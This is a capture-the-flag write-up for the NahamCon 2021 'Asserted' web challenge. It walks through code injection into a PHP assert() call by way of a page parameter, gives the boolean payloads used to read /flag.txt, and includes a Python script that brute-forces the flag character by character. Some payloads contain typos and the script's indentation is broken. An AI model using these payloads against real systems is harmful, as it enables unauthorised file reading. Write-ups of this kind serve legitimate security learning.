NahamCon CTF 2021: Asserted

March 2021

Challenge

Prompt: png

We are given a link to webpage. It brings us to a website for a gym. There are several different pages such as About, Contact, Blog, etc.

The page is selected by setting a GET parameter in the url: png

My first thought was Local File Inclusion, so I tried setting the page parameter to ../../../etc/passwd. This did not work and I got the following response: png

There must be some filter checking if the page parameter contains ..

With the name of the challenge being assert, I decided to look into vulnerabilities related to PHP's assert function. It seems as though index.php uses the assert function in conjuction with strpos, or a similar function, to check if the page parameter contains the malicious characters.

I made an assumption that the PHP code looked something like this:


	assert("strpos($_GET['page'], '..')===false") or die('HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE')
	

I tested this assumption by sending the payload:


	?page=a','b')===false && strpos('
	
I URL encoded this payload and made a request with the page parameter set to this payload. With this payload being executed by the PHP script, the assert statement will always evaluate to true

I sent the request and I got a response with status code 200 and no message saying "HACKING ATTEMPT ... " png

Just to double check my assumption, I sent a payload that would evaluate to false:


	?page=a','a')===false && strpos('
	
and observed that I got the "HACKING ATTEMPT ..." message. png

At this point I have verified that I can inject PHP boolean expressions, and if the expression evaluates to true I will get no error, and if the expression evaluate to false I will get the "HACKING ATTEMPT ..." message in the response.

I used the following payload to see if I can read from the flag.txt file:


	?page=a','b')===false && strpos(file_get_contents('/flag.txt'), 'flag{')!==flase && strpos('
	

png This request did not return the warning message. The following payload, however, did return the warning message:

png


	?page=a','b')===false && strpos(file_get_contents('/flag.txt'), 'flag{a')!==flase && strpos('
	

Next I wrote a python script to automate the checking of potential flag strings. To summarize the script, I send continuous requests with my payload, where I check against a different substring's existence in flag.txt. If I get a response with no warning message, I know that my substring exists in flag.txt, and this way I can build out each character in the flag.

import requests
import string

session = requests.Session()

url = 'http://challenge.nahamcon.com:30735/index.php?page='

flag = 'flag{'

while '}' not in flag:
    for c in string.hexdigits.lower() + '}':
	payload = f"','qwer')===false+%26%26+strpos(filegetcontents('/flag.txt'),'{flag+c}')!==false+%26%26+strpos('abc"
	endpoint = url + payload
	r = session.get(endpoint)

if 'HACKING' not in r.text:
	flag += c
	print(flag)
	

png